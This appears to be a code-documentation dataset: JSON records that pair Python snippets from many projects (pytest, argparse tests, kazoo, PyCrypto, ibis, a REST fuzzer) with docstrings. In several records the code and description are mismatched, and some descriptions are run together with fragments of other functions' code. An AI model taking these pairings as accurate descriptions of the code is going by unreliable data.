"nl": "Close the handler.self.flush()logging.Handler.close(self)class Validator(object):The main class for running :class:`Validations ` on molecules."} {"code": "def drop(self, transaction):\n where_fields = attr.astuple(transaction, filter=attr.filters.include(*TransactionsRepo._primary_keys))\n self._conn.execute(\"\"\"DELETE FROM transactions", "nl": "Drop an existing transaction from the database:param sakia.data.entities.Transaction transaction: the transaction to update"} {"code": "def _inject_setup_method_fixture(self):\n setup_method = _get_non_fixture_func(self.obj, \"setup_method\")\n teardown_method = getattr(self.obj, \"teardown_method\", None)\n if setup_method is None and teardown_method is None:\n return\n\n @fixtures.fixture(autouse=True, scope=\"function\")", "nl": "Injects a hidden autouse, function scoped fixture into the collected class objectthat invokes setup_method/teardown_method if either or both are available.Using a fixture to invoke this methods ensures we play nicely and unsurprisingly withother fixtures (#517)."} {"code": "def _prepareAnimation(item):\n animation = item.animation()\n if animation is not None:\n animation.stop()\n animation.finished.disconnect()\n else:\n animation = QPropertyAnimation(item, b'geometry')\n item.setAnimation(animation)\n return animation\n", "nl": " Prepare the animation object for a dock container.Parameters----------item : QDockBarItemThe item which should have an animation prepared."} {"code": "def test_supportedNoCurses(self):\n sys.modules['curses'] = None\n self.assertFalse(reporter._AnsiColorizer.supported(FakeStream()))\n\n", "nl": "L{reporter._AnsiColorizer.supported} returns C{False} if the cursesmodule can't be imported."} {"code": "def test_elementContainingDynamicElement(self):\n class OuterElement(Element):", "nl": "Test that directives in the document factory of a Element returned from arender method of another Element are satisfied from the correct object:the \"inner\" Element."} {"code": "def humanize_datetime(context, value):\n\n request = context['request']\n\n user = None\n if request.user.username:\n try:\n user = request.user.profile\n except:\n pass\n", "nl": "Finds the difference between the datetime value given and now()and returns appropriate humanize form"} {"code": "def get_frame_id(self, frame):\n if \"target\" not in prop:\n return None\n if prop.target.id != \"/w/time\":\n return None\n prop_id = self.get_frame_id(prop)\n if isinstance(tail, int):\n return (prop_id, tail)\n elif (isinstance(tail, sling.Frame) and \"is\" in tail and\n isinstance(tail[\"is\"], int)):\n return (prop_id, tail[\"is\"])\n return None\n", "nl": "Returns the WikiData identifier for a property or entity.if \"id\" in frame:return frame.idif \"is\" in frame:if not isinstance(frame[\"is\"], sling.Frame):return Noneif \"id\" in frame[\"is\"]:return frame[\"is\"].idreturn Nonedef get_date_property(self, prop, tail):Returns date if property accepts '/w/time' as target."} {"code": "def kneighbors(self, X: np.ndarray=None, maxl: int=None, mode: str=\"distance\") -> Tuple[np.ndarray, np.ndarray, np.ndarray]:\n if X is not None:\n self.data = X\n if maxl is not None:\n self.maxl = maxl\n\n self.dist, self.dsi = self.nn.kneighbors(self.data, return_distance=True)\n logging.debug(f\"Using the initialization network to find a {self.k}-NN graph with maximum connectivity of {self.maxl}\")\n self.dist_new, self.dsi_new, self.l = knn_balance(self.dsi, self.dist, maxl=self.maxl, k=self.k, constraint=self.constraint)\n\n if mode == \"connectivity\":\n self.dist = np.ones_like(self.dsi)\n self.dist[:, 0] = 0\n return self.dist_new, self.dsi_new, self.l\n", "nl": "Finds the K-neighbors of a point.Returns indices of and distances to the neighbors of each point.Parameters----------X : array-like, shape (n_query, n_features),The query point or points.If not provided, neighbors of each indexed point are returned.In this case, the query point is not considered its own neighbor.maxl: intmax degree of connectivity allowedmode : \"distance\" or \"connectivity\"Decides the kind of outputReturns-------dist_new : np.ndarray (samples, k+1)distances to the NNdsi_new : np.ndarray (samples, k+1)indexes of the NN, first column is the sample itselfl: np.ndarray (samples)l[i] is the number of connections from other samples to the sample iNOTE:First column (0) correspond to the sample itself, the nearest nenigbour is at the second column (1)"} {"code": "def asttokens(self):\n from asttokens import ASTTokens\n return ASTTokens(\n self.text,\n tree=self.tree,\n filename=self.filename,\n )\n\n @staticmethod", "nl": "Returns an ASTTokens object for getting the source of specific AST nodes.See http://asttokens.readthedocs.io/en/latest/api-index.html"} {"code": "def get_last_target_ack_date(self):\n return None\n", "nl": "If different from None the return value is used by the FMK to log thedate of the target acknowledgment after a message has been sent to it.[Note: If this method is overloaded, is_target_ready_for_new_data() should also be]"} {"code": "def _use_after_free(self, destructed_types):\n consumers = []\n destructor = self._sequence.last_request\n\n for request in self._fuzzing_requests:", "nl": " Tries to access deleted dynamic object. Accessing means try to applyany request, defined in the request collection, that consumes an objectwith type @param type.@param destructed_types: Ordered set of the hierarchy of dynamic objecttypes the current request will need in orderto destruct (probably) an object of the lastobject type.@type destructed_types: Set@return: None@rtype : None"} {"code": "def rgetattr(obj, attr):\n return functools.reduce(getattr, [obj] + attr.split('.'))\n\n", "nl": ">>> from types import SimpleNamespace>>> args = SimpleNamespace(a=1, b=SimpleNamespace(c=2, d='e'))>>> rgetattr(args, \"a\")1>>> rgetattr(args, \"b.c\")2"} {"code": "def test_link_set_down(self):\n \"\"\"", "nl": "Test of device down.netdev.link_set_down('foo')treadmill.subproc.check_call.assert_called_with(['ip', 'link','set','dev', 'foo','down',],)@mock.patch('treadmill.subproc.check_call', mock.Mock())def test_link_set_name(self):Test of device name change."} {"code": "def __call__(self, y_pred, y_true, w_size=11, size_average=True, full=False):\n if torch.max(y_pred) > 128:\n max_val = 255\n else:\n max_val = 1\n\n if torch.min(y_pred) < -0.5:\n min_val = -1\n else:\n min_val = 0\n L = max_val - min_val\n\n padd = 0\n (_, channel, height, width) = y_pred.size()\n window = self.create_window(w_size, channel=channel).to(y_pred.device)\n\n mu1 = F.conv2d(y_pred, window, padding=padd, groups=channel)\n mu2 = F.conv2d(y_true, window, padding=padd, groups=channel)\n\n mu1_sq = mu1.pow(2)\n mu2_sq = mu2.pow(2)\n mu1_mu2 = mu1 * mu2\n\n sigma1_sq = F.conv2d(y_pred * y_pred, window, padding=padd, groups=channel) - mu1_sq\n sigma2_sq = F.conv2d(y_true * y_true, window, padding=padd, groups=channel) - mu2_sq\n sigma12 = F.conv2d(y_pred * y_true, window, padding=padd, groups=channel) - mu1_mu2\n\n C1 = (0.01 * L) ** 2\n C2 = (0.03 * L) ** 2\n\n v1 = 2.0 * sigma12 + C2\n v2 = sigma1_sq + sigma2_sq + C2\n cs = torch.mean(v1 / v2)\n\n ssim_map = ((2 * mu1_mu2 + C1) * v1) / ((mu1_sq + mu2_sq + C1) * v2)\n\n if size_average:\n ret = ssim_map.mean()\n else:\n ret = ssim_map.mean(1).mean(1).mean(1)\n\n if full:\n return ret, cs\n return ret\n\n\n\nclass LPIPS(object):\n '''", "nl": "args:y_true : 4-d ndarray in [batch_size, channels, img_rows, img_cols]y_pred : 4-d ndarray in [batch_size, channels, img_rows, img_cols]w_size : int, default 11size_average : boolean, default Truefull : boolean, default Falsereturn ssim, larger the better"} {"code": "def get_parent(self) -> Portal:\n return self._peers[uid]\n", "nl": "Return a portal to our parent actor.assert self._parent_chan, \"No parent channel for this actor?\"return Portal(self._parent_chan)def get_chans(self, uid: tuple[str, str]) -> list[Channel]:Return all channels to the actor with provided uid."} {"code": "def any_processes_alive(self):\n return any(self.live_processes())\n", "nl": "Return true if any processes are still alive.Returns:True if any process is still alive."} {"code": "def sysargs(parser, args):\n\n argument_signatures = [Sig('-x')]\n failures = ['-x', 'a', '--foo', '-x --foo', '-x -y']\n successes = [\n ('', NS(x=None)),\n ('-x a', NS(x='a')),\n ('-xa', NS(x='a')),\n ('-x -1', NS(x='-1')),\n ('-x-1', NS(x='-1')),\n ]\n\n\nclass TestOptionalsSingleDashCombined(ParserTestCase):\n \"\"\"Test an Optional with a single-dash option string\"\"\"\n\n argument_signatures = [Sig('-foo')]\n failures = ['-foo', 'a', '--foo', '-foo --foo', '-foo -y', '-fooa']\n successes = [\n ('', NS(foo=None)),\n ('-foo a', NS(foo='a')),\n ('-foo -1', NS(foo='-1')),\n ('-fo a', NS(foo='a')),\n ('-f a', NS(foo='a')),\n ]\n\n\nclass TestOptionalsSingleDashSubsetAmbiguous(ParserTestCase):\n \"\"\"Test Optionals where option strings are subsets of each other\"\"\"\n\n argument_signatures = [Sig('-foobar'), Sig('-foorab')]\n failures = ['-f', '-f a', '-fa', '-foa', '-foo', '-fo', '-foo b']\n successes = [\n ('', NS(foobar=None, foorab=None)),\n ('-foob a', NS(foobar='a', foorab=None)),\n ('-foor a', NS(foobar=None, foorab='a')),\n ('-fooba a', NS(foobar='a', foorab=None)),\n ('-foora a', NS(foobar=None, foorab='a')),\n ('-foobar a', NS(foobar='a', foorab=None)),\n ('-foorab a', NS(foobar=None, foorab='a')),\n ]\n\n\nclass TestOptionalsNumeric(ParserTestCase):\n \"\"\"Test an Optional with a short opt string\"\"\"\n\n argument_signatures = [Sig('--foo')]\n failures = ['--foo', '-f', '-f a', 'a', '--foo -x', '--foo --bar']\n successes = [\n ('', NS(foo=None)),\n ('--foo a', NS(foo='a')),\n ('--foo=a', NS(foo='a')),\n ('--foo -2.5', NS(foo='-2.5')),\n ('--foo=-2.5', NS(foo='-2.5')),\n ]\n\n\nclass TestOptionalsDoubleDashPartialMatch(ParserTestCase):\n \"\"\"Tests partial matching with a double-dash option string\"\"\"\n\n argument_signatures = [\n Sig('--badger', action='store_true'),\n Sig('--ba'),\n ]\n failures = ['--bar', '--b', '--ba', '--b=2', '--badge 5']\n successes = [\n ('', NS(badger=False, ba=None)),\n ('--ba X', NS(badger=False, ba='X')),\n ('--ba=X', NS(badger=False, ba='X')),\n ('--bad', NS(badger=True, ba=None)),\n ('--badg', NS(badger=True, ba=None)),\n ('--badge', NS(badger=True, ba=None)),\n ('--badger', NS(badger=True, ba=None)),\n ]\n\n\nclass TestOptionalsSingleDoubleDash(ParserTestCase):\n \"\"\"Test an Optional with single- and double-dash option strings\"\"\"\n\n parser_signature = Sig(prefix_chars='+:/', add_help=False)\n argument_signatures = [\n Sig('+f', action='store_true'),\n Sig('::bar'),\n Sig('/baz', action='store_const', const=42),\n ]\n failures = ['--bar', '-fbar', '-b B', 'B', '-f', '--bar B', '-baz', '-h', '--help', '+h', '::help', '/help']\n successes = [\n ('', NS(f=False, bar=None, baz=None)),\n ('+f', NS(f=True, bar=None, baz=None)),\n ('::ba B', NS(f=False, bar='B', baz=None)),\n ('+f ::bar B', NS(f=True, bar='B', baz=None)),\n ('+f /b', NS(f=True, bar=None, baz=42)),\n ('/ba +f', NS(f=True, bar=None, baz=42)),\n ]\n\n\nclass TestOptionalsAlternatePrefixCharsAddedHelp(ParserTestCase):", "nl": "Parse the args by defaulting to sys.argvold_sys_argv = sys.argvsys.argv = [old_sys_argv[0]] + argstry:return parser.parse_args()finally:sys.argv = old_sys_argv# class that holds the combination of one optional argument# addition method and one arg parsing methodclass AddTests(object):def __init__(self, tester_cls, add_arguments, parse_args):self._add_arguments = add_argumentsself._parse_args = parse_argsadd_arguments_name = self._add_arguments.__name__parse_args_name = self._parse_args.__name__for test_func in [self.test_failures, self.test_successes]:func_name = test_func.__name__names = func_name, add_arguments_name, parse_args_nametest_name = '_'.join(names)def wrapper(self, test_func=test_func):test_func(self)try:wrapper.__name__ = test_nameexcept TypeError:passsetattr(tester_cls, test_name, wrapper)def _get_parser(self, tester):args = tester.parser_signature.argskwargs = tester.parser_signature.kwargsparser = tester.parser_class(*args, **kwargs)self._add_arguments(parser, tester.argument_signatures)return parserdef test_failures(self, tester):parser = self._get_parser(tester)for args_str in tester.failures:args = args_str.split()raises = tester.assertRaisesraises(ArgumentParserError, parser.parse_args, args)def test_successes(self, tester):parser = self._get_parser(tester)for args, expected_ns in tester.successes:if isinstance(args, str):args = args.split()result_ns = self._parse_args(parser, args)tester.assertEqual(expected_ns, result_ns)# add tests for each combination of an optionals adding method# and an arg parsing methodfor add_arguments in [no_groups, one_group, many_groups]:for parse_args in [listargs, sysargs]:AddTests(cls, add_arguments, parse_args)bases = TestCase,ParserTestCase = ParserTesterMetaclass('ParserTestCase', bases, {})# ===============# Optionals tests# ===============class TestOptionalsSingleDash(ParserTestCase):Test an Optional with a single-dash option string"} {"code": "def _replace_interval_with_scalar(expr: Union[ir.Expr, dt.Interval, float]):\n if isinstance(expr, ir.Expr):\n expr_op = expr.op()\n else:\n expr_op = None\n\n if not isinstance(expr, (dt.Interval, ir.IntervalValue)):\n if isinstance(expr_op, ops.Literal):\n return expr_op.value\n else:\n return expr\n elif isinstance(expr, dt.Interval):\n try:\n microseconds = _map_interval_to_microseconds[expr.unit]\n return microseconds\n except KeyError:\n raise ValueError(\n \"Expected preceding values of week(), \"\n + \"day(), hour(), minute(), second(), millisecond(), \"\n + f\"microseconds(), nanoseconds(); got {expr}\"\n )\n elif expr_op.args and isinstance(expr, ir.IntervalValue):\n if len(expr_op.args) > 2:\n raise NotImplementedError(\"'preceding' argument cannot be parsed.\")\n left_arg = _replace_interval_with_scalar(expr_op.args[0])\n right_arg = _replace_interval_with_scalar(expr_op.args[1])\n method = _map_interval_op_to_op[type(expr_op)]\n return method(left_arg, right_arg)\n else:\n raise TypeError(f'expr has unknown type {type(expr).__name__}')\n\n", "nl": "Good old Depth-First Search to identify the Interval and IntervalValuecomponents of the expression and return a comparable scalar expression.Parameters----------expr : float or expression of intervalsFor example, ``ibis.interval(days=1) + ibis.interval(hours=5)``Returns-------preceding : float or ir.FloatingScalar, depending upon the expr"} {"code": "def runitem(self, source):\n item = self.getitem(source)\n testclassinstance = self.request.instance\n runner = testclassinstance.getrunner()\n return runner(item)\n", "nl": "Run the \"test_func\" Item.The calling test instance (class containing the test method) mustprovide a ``.getrunner()`` method which should return a runner whichcan run the test protocol for a single item, e.g.:py:func:`_pytest.runner.runtestprotocol`."} {"code": "def remove_empty_sequences(self):\n init_size = len(self)\n indices = self.lengths > 11\n self.token_ids = self.token_ids[indices]\n self.lengths = self.lengths[indices]\n new_size = len(self)\n logger.info(f'Remove {init_size - new_size} too short (<=11 tokens) sequences.')\n", "nl": "Too short sequences are simply removed. This could be tunedd."} {"code": "def set_default_option(self, name: str):\n\n if (name not in self.parent.options) and (self.is_available(name)):\n self.parent.options[name] = self.get_app_cfg_by_name(name)\n", "nl": "Set default option value for given `name` from app environmentconfiguration if an explicit directive option was not provided.Parameters----------name: strName of the option."} {"code": "def predict(self, X, dynamic_resource=None):\n raise NotImplementedError\n", "nl": "Predicts the labels from a feature matrix X. Again X is the format of what is returned byextract_features.Args:X (list): A list of feature vectors, one for each exampleReturns:(list of classification labels): a list of predicted labels (in an encoded format)"} {"code": "def has_group(self, uuid, group):\n group_lower = group.lower()\n\n if not self.group_exists(group_lower):\n return False\n\n if uuid not in self.wrapper.wrapper_permissions.Data[\"users\"]:\n self.fill_user(uuid)\n return False\n\n if group_lower in self.wrapper.wrapper_permissions.Data[\"users\"][uuid][\"groups\"]:\n return True\n\n return False\n", "nl": "Returns a boolean of whether or not the player is inthe specified permission group."} {"code": "def test_node_select_scout(self):\n self.session.execute_cmd('@charcreate Char')\n self.session.execute_cmd('3')\n self.session.execute_cmd('Y')\n self.assertEqual(self.char1.db.archetype, 'Warrior')\n", "nl": "test Scout archetype selection via menuself.session.execute_cmd('@charcreate Char')self.session.execute_cmd('2')self.session.execute_cmd('Y')self.assertEqual(self.char1.db.archetype, 'Scout')def test_node_select_warrior(self):test Warrior archetype selection via menu"} {"code": "def reconfig(self, joining, leaving, new_members, from_config=-1):\n result = self.reconfig_async(joining, leaving, new_members,\n from_config)\n return result.get()\n", "nl": "Reconfig a cluster.This call will succeed if the cluster was reconfigured accordingly.:param joining: a comma separated list of servers being added(see example for format) (incremental reconfiguration):param leaving: a comma separated list of servers being removed(see example for format) (incremental reconfiguration):param new_members: a comma separated list of new membership(non-incremental reconfiguration):param from_config: version of the current configuration (optional -causes reconfiguration to throw an exception ifconfiguration is no longer current):type from_config: int:returns:Tuple (value, :class:`~kazoo.protocol.states.ZnodeStat`) ofnode.:rtype: tupleBasic Example:.. code-block:: pythonzk = KazooClient()zk.start()# first add an observer (incremental reconfiguration)joining = 'server.100=10.0.0.10:2889:3888:observer;0.0.0.0:2181'data, _ = zk.reconfig(joining=joining, leaving=None, new_members=None)# wait and then remove it (just by using its id) (incremental)data, _ = zk.reconfig(joining=None, leaving='100',new_members=None)# now do a full change of the cluster (non-incremental)new = ['server.100=10.0.0.10:2889:3888:observer;0.0.0.0:2181','server.100=10.0.0.11:2889:3888:observer;0.0.0.0:2181','server.100=10.0.0.12:2889:3888:observer;0.0.0.0:2181',]data, _ = zk.reconfig(joining=None, leaving=None, new_members=','.join(new))zk.stop():raises::exc:`~kazoo.exceptions.UnimplementedError` if not supported.:exc:`~kazoo.exceptions.NewConfigNoQuorumError` if no quorum of newconfig is connected and up-to-date with the leader of lastcommmitted config - try invoking reconfiguration after new serversare connected and synced.:exc:`~kazoo.exceptions.ReconfigInProcessError` if anotherreconfiguration is in progress.:exc:`~kazoo.exceptions.BadVersionError` if version doesn'tmatch.:exc:`~kazoo.exceptions.BadArgumentsError` if any of the givenlists of servers has a bad format.:exc:`~kazoo.exceptions.ZookeeperError` if the serverreturns a non-zero error code."} {"code": "def new(rsa_key, **kwargs):\n\n mask_func = kwargs.pop(\"mask_func\", None)\n salt_len = kwargs.pop(\"salt_bytes\", None)\n rand_func = kwargs.pop(\"rand_func\", None)\n if rand_func is None:\n rand_func = Random.get_random_bytes\n if kwargs:\n raise ValueError(\"Unknown keywords: \" + str(kwargs.keys()))\n return PSS_SigScheme(rsa_key, mask_func, salt_len, rand_func)", "nl": "Create an object for making or verifying PKCS#1 PSS signatures.:parameter rsa_key:The RSA key to use for signing or verifying the message.This is a :class:`Crypto.PublicKey.RSA` object.Signing is only possible when ``rsa_key`` is a **private** RSA key.:type rsa_key: RSA object:Keyword Arguments:* *mask_func* (``callable``) --A function that returns the mask (as `bytes`).It must accept two parameters: a seed (as `bytes`)and the length of the data to return.If not specified, it will be the function :func:`MGF1` defined in`RFC8017 `_ andcombined with the same hash algorithm applied to themessage to sign or verify.If you want to use a different function, for instance still :func:`MGF1`but together with another hash, you can do::from Crypto.Hash import SHA256from Crypto.Signature.pss import MGF1mgf = lambda x, y: MGF1(x, y, SHA256)* *salt_bytes* (``integer``) --Length of the salt, in bytes.It is a value between 0 and ``emLen - hLen - 2``, where ``emLen``is the size of the RSA modulus and ``hLen`` is the size of the digestapplied to the message to sign or verify.The salt is generated internally, you don't need to provide it.If not specified, the salt length will be ``hLen``.If it is zero, the signature scheme becomes deterministic.Note that in some implementations such as OpenSSL the defaultsalt length is ``emLen - hLen - 2`` (even though it is not moresecure than ``hLen``).* *rand_func* (``callable``) --A function that returns random ``bytes``, of the desired length.The default is :func:`Crypto.Random.get_random_bytes`.:return: a :class:`PSS_SigScheme` signature object"} {"code": "def _add(a, b):\n da, db = a.denominator, b.denominator\n return Fraction(a.numerator * db - b.numerator * da,\n da * db)\n\n __sub__, __rsub__ = _operator_fallbacks(_sub, operator.sub)\n", "nl": "a + bda, db = a.denominator, b.denominatorreturn Fraction(a.numerator * db + b.numerator * da,da * db)__add__, __radd__ = _operator_fallbacks(_add, operator.add)def _sub(a, b):a - b"} {"code": "def get_active_name(self):\n return []\n\n\n", "nl": "Get the name of the active pluginreturn self.get_name()def get_plugins(self):Return a list of all plugins"} {"code": "def magnitude_spectrum(self, n_fft_seconds=0.04, hop_length_seconds=0.01):\n n_fft = numseconds_to_numsamples(n_fft_seconds, self.sample_rate)\n hop_length = numseconds_to_numsamples(hop_length_seconds, self.sample_rate)\n\n mag_spectrum, _ = librosa.core.spectrum._spectrogram(self.waveform, n_fft=n_fft, hop_length=hop_length)\n return mag_spectrum\n", "nl": "Compute the STFT of self.waveform. This is used for further spectral analysis.Args:n_fft_seconds (float): Length of the FFT window in seconds.hop_length_seconds (float): How much the window shifts for every timestep, in seconds.Returns:np.array, [n_fft / 2 + 1, T / hop_length]: The magnitude spectrogram"} {"code": "def resnet50(pretrained=False, **kwargs):\n model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet50'], 'pretrained_model/encoder'))\n return model\n", "nl": "Constructs a ResNet-50 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def _apply_2d(self, func, axis):\n ndim = self.ndim\n axis = [self._get_axis_number(a) for a in axis]\n\n indexer_axis = list(range(ndim))\n for a in axis:\n indexer_axis.remove(a)\n indexer_axis = indexer_axis[0]\n\n slicer = [slice(None, None)] * ndim\n ax = self._get_axis(indexer_axis)\n\n results = []\n for i, e in enumerate(ax):\n slicer[indexer_axis] = i\n sliced = self.iloc[tuple(slicer)]\n\n obj = func(sliced)\n results.append((e, obj))\n\n return self._construct_return_type(dict(results))\n", "nl": "Handle 2-d slices, equiv to iterating over the other axis."} {"code": "def test_get_serializer(self):\n serializer = wsgi.ActionDispatcher()\n serializer.create = lambda x: x\n\n self.assertEqual('pants',\n serializer.dispatch('pants', action='create'))\n", "nl": "Test ResponseSerializer.get_body_serializer.content_type = 'application/json'self.assertEqual(self.body_serializers[content_type],self.serializer.get_body_serializer(content_type))def test_serialize_json_response(self):response = self.serializer.serialize({}, 'application/json')self.assertEqual('application/json', response.headers['Content-Type'])self.assertEqual(b'pew_json', response.body)self.assertEqual(404, response.status_int)def test_serialize_response_None(self):response = self.serializer.serialize(None, 'application/json')self.assertEqual('application/json', response.headers['Content-Type'])self.assertEqual(b'', response.body)self.assertEqual(404, response.status_int)class RequestTest(base.BaseTestCase):def test_content_type_missing(self):request = wsgi.Request.blank('/tests/123', method='POST')request.body = b\"\"self.assertIsNone(request.get_content_type())def test_content_type_unsupported(self):request = wsgi.Request.blank('/tests/123', method='POST')request.headers[\"Content-Type\"] = \"text/html\"request.body = b\"fake
\"self.assertIsNone(request.get_content_type())def test_content_type_with_charset(self):request = wsgi.Request.blank('/tests/123')request.headers[\"Content-Type\"] = \"application/json; charset=UTF-8\"result = request.get_content_type()self.assertEqual(\"application/json\", result)def test_content_type_with_given_content_types(self):request = wsgi.Request.blank('/tests/123')request.headers[\"Content-Type\"] = \"application/new-type;\"self.assertIsNone(request.get_content_type())def test_content_type_from_accept(self):request = wsgi.Request.blank('/tests/123')request.headers[\"Accept\"] = \"application/json\"result = request.best_match_content_type()self.assertEqual(\"application/json\", result)request = wsgi.Request.blank('/tests/123')request.headers[\"Accept\"] = (\"application/json; q=0.3\")result = request.best_match_content_type()self.assertEqual(\"application/json\", result)def test_content_type_from_query_extension(self):request = wsgi.Request.blank('/tests/123.json')result = request.best_match_content_type()self.assertEqual(\"application/json\", result)request = wsgi.Request.blank('/tests/123.invalid')result = request.best_match_content_type()self.assertEqual(\"application/json\", result)def test_content_type_accept_and_query_extension(self):request = wsgi.Request.blank('/tests/123.json')request.headers[\"Accept\"] = \"application/json\"result = request.best_match_content_type()self.assertEqual(\"application/json\", result)def test_content_type_accept_default(self):request = wsgi.Request.blank('/tests/123.unsupported')request.headers[\"Accept\"] = \"application/unsupported1\"result = request.best_match_content_type()self.assertEqual(\"application/json\", result)def test_content_type_accept_with_given_content_types(self):request = wsgi.Request.blank('/tests/123')request.headers[\"Accept\"] = \"application/new_type\"result = request.best_match_content_type()self.assertEqual(\"application/json\", result)class ActionDispatcherTest(base.BaseTestCase):def test_dispatch(self):Test ActionDispatcher.dispatch."} {"code": "def write_text(text, paste=False):\n logging.debug(\"text = %s\" % (text))\n if text:\n script = applescript.AppleScript('''\n script.run()\n\n", "nl": "send text formatted exactly as written to active window. will usesimulate keypress typing for maximum compatibility."} {"code": "def founder_allocation() -> float:\n return accounts[9]\n\n\n\n@pytest.fixture", "nl": "How much tokens are allocated to founders, etc.return 0.2@pytest.fixturedef pricing_strategy(chain, start_time, end_time):args = [1] # 1 token = 1 ethcontract, hash = chain.provider.deploy_contract('FlatPricing', deploy_args=args)return contract@pytest.fixturedef early_investor_pool(accounts):A pool where early investor tokens are collected"} {"code": "def fidelity_coherent(self, alpha, modes=None, tol=1e-15):\n if modes is None:\n modes = self.get_modes()\n\n if len(modes) == 0:\n return 1.0\n\n mode_ind = np.sort(np.append(2 * np.array(modes), 2 * np.array(modes) + 1))\n alpha_mean = []\n for i in range(len(modes)):\n alpha_mean.append(alpha.real[i] * np.sqrt(2 * self.hbar))\n alpha_mean.append(alpha.imag[i] * np.sqrt(2 * self.hbar))\n alpha_mean = np.array(alpha_mean)\n deltas = self.means[:, mode_ind] - alpha_mean\n cov_sum = (\n self.covs[:, mode_ind, :][:, :, mode_ind] + self.hbar * np.eye((len(mode_ind))) / 2\n )\n exp_arg = np.einsum(\"...j,...jk,...k\", deltas, np.linalg.inv(cov_sum), deltas)\n weighted_exp = (\n np.array(self.weights)\n * self.hbar ** len(modes)\n * np.exp(-0.5 * exp_arg)\n / np.sqrt(np.linalg.det(cov_sum))\n )\n fidelity = np.sum(weighted_exp)\n\n if 1 - fidelity < 0 and fidelity - 1 < tol:\n fidelity = 1\n return fidelity\n", "nl": "rReturns the fidelity to a coherent state.Args:alpha (array): amplitudes for coherent statesmodes (list): modes to use for fidelity calculationReturns:float: fidelity of the state in modes to the coherent state alpha"} {"code": "def pool_maintenance_error_codes(self):\n codes = []\n if self >= PoolActionAvailability.NO_IPC_REQUESTS:\n codes.append(PoolMaintenanceErrorCode.NO_IPC_REQUESTS)\n\n if self >= PoolActionAvailability.NO_POOL_CHANGES:\n codes.append(PoolMaintenanceErrorCode.NO_POOL_CHANGES)\n\n return codes", "nl": "Return the list of PoolMaintenanceErrorCodes for this availability.:rtype: list of PoolMaintenanceErrorCode"} {"code": "def _thread_target(self) -> None:\n if self._threaded:\n self._loop = asyncio.new_event_loop()\n else:\n try:\n self._loop = self._loop or asyncio.get_event_loop()\n except RuntimeError:\n self._loop = asyncio.new_event_loop()\n asyncio.set_event_loop(self._loop)\n", "nl": "Start event loop and task in the dedicated thread.if not self._loop:raise ValueError(\"Call _set_loop() first!\") # pragma: nocoverif not self._task:raise ValueError(\"Call _set_task() first!\") # pragma: nocovertry:self._loop.run_until_complete(self._task)except BaseException: # pylint: disable=broad-except)logging.exception(f\"Exception raised in {self}\")self._loop.stop()self._loop.close()def _set_loop(self) -> None:Select and set loop."} {"code": "def any(name, alternates):\n dq3string = '(\\\\b[rRuU])?\"\"\"[^\"\\\\\\\\]*((\\\\\\\\.|\"(?!\"\"))[^\"\\\\\\\\]*)*(\"\"\")?'", "nl": "Return a named group pattern matching list of alternates.return '(?P<%s>' % name + '|'.join(alternates) + ')'def make_pat():kw = '\\\\b' + any('KEYWORD', keyword.kwlist) + '\\\\b'builtinlist = [ str(name) for name in dir(__builtin__) if not name.startswith('_')]builtin = '([^.\\'\\\\\"\\\\\\\\#]\\\\b|^)' + any('BUILTIN', builtinlist) + '\\\\b'comment = any('COMMENT', ['#[^\\\\n]*'])sqstring = \"(\\\\b[rRuU])?'[^'\\\\\\\\\\\\n]*(\\\\\\\\.[^'\\\\\\\\\\\\n]*)*'?\"dqstring = '(\\\\b[rRuU])?\"[^\"\\\\\\\\\\\\n]*(\\\\\\\\.[^\"\\\\\\\\\\\\n]*)*\"?'sq3string = \"(\\\\b[rRuU])?[^'\\\\\\\\]*((\\\\\\\\.|'(?!''))[^'\\\\\\\\]*)*()?\""} {"code": "def test_dialogue_endstates(self):\n\n cfp_msg, buyer_dialogue = self.buyer_dialogues.create(\n counterparty=self.seller_addr,\n performative=FipaMessage.Performative.CFP,\n query=Query([Constraint(\"something\", ConstraintType(\">\", 1))]),\n )\n\n retrieved_dialogue = self.buyer_dialogues.get_dialogue(cfp_msg)\n assert (\n retrieved_dialogue == buyer_dialogue\n ), \"Should have found correct dialogue\"\n\n assert (\n cfp_msg.dialogue_reference[0] != \"\" and cfp_msg.dialogue_reference[1] == \"\"\n ), \"The dialogue_reference is not set correctly.\"\n\n\n seller_dialogue = self.seller_dialogues.update(cfp_msg)\n\n last_msg = seller_dialogue.last_incoming_message\n assert last_msg == cfp_msg, \"The messages must be equal\"\n\n proposal = Description({\"foo1\": 1, \"bar1\": 2})\n proposal_msg = seller_dialogue.reply(\n target_message=cfp_msg,\n performative=FipaMessage.Performative.PROPOSE,\n proposal=proposal,\n )\n\n\n buyer_dialogue = self.buyer_dialogues.update(proposal_msg)\n\n last_msg = buyer_dialogue.last_incoming_message\n assert last_msg == proposal_msg, \"The two messages must be equal.\"\n\n retrieved_dialogue = self.buyer_dialogues.get_dialogue(proposal_msg)\n assert retrieved_dialogue == buyer_dialogue, \"Should have found dialogue\"\n\n accept_msg = buyer_dialogue.reply(\n target_message=proposal_msg,\n performative=FipaMessage.Performative.ACCEPT_W_INFORM,\n info={\"address\": \"dummy_address\"},\n )\n\n seller_dialogue = self.seller_dialogues.update(accept_msg)\n\n retrieved_dialogue = self.seller_dialogues.get_dialogue(accept_msg)\n assert seller_dialogue == retrieved_dialogue, \"Should have found dialogue\"\n", "nl": "Test the end states of a dialogue.assert self.buyer_dialogues.dialogue_stats is not Noneself.buyer_dialogues.dialogue_stats.add_dialogue_endstate(FipaDialogue.EndState.SUCCESSFUL, is_self_initiated=True)self.buyer_dialogues.dialogue_stats.add_dialogue_endstate(FipaDialogue.EndState.DECLINED_CFP, is_self_initiated=False)assert self.buyer_dialogues.dialogue_stats.self_initiated == {FipaDialogue.EndState.SUCCESSFUL: 1,FipaDialogue.EndState.DECLINED_PROPOSE: 0,FipaDialogue.EndState.DECLINED_ACCEPT: 0,FipaDialogue.EndState.DECLINED_CFP: 0,}assert self.buyer_dialogues.dialogue_stats.other_initiated == {FipaDialogue.EndState.SUCCESSFUL: 0,FipaDialogue.EndState.DECLINED_PROPOSE: 0,FipaDialogue.EndState.DECLINED_ACCEPT: 0,FipaDialogue.EndState.DECLINED_CFP: 1,}def test_dialogues_self_initiated(self):Test an end to end scenario of client-seller dialogue."} {"code": "def load_log_message(self, message):\n key = message.get_length()\n if key in self.messages:\n self.messages[key].append(message)\n else:\n self.messages[key] = []\n self.messages[key].append(message)", "nl": " Adds a log message to messages:param message: an object of type Message:return: the 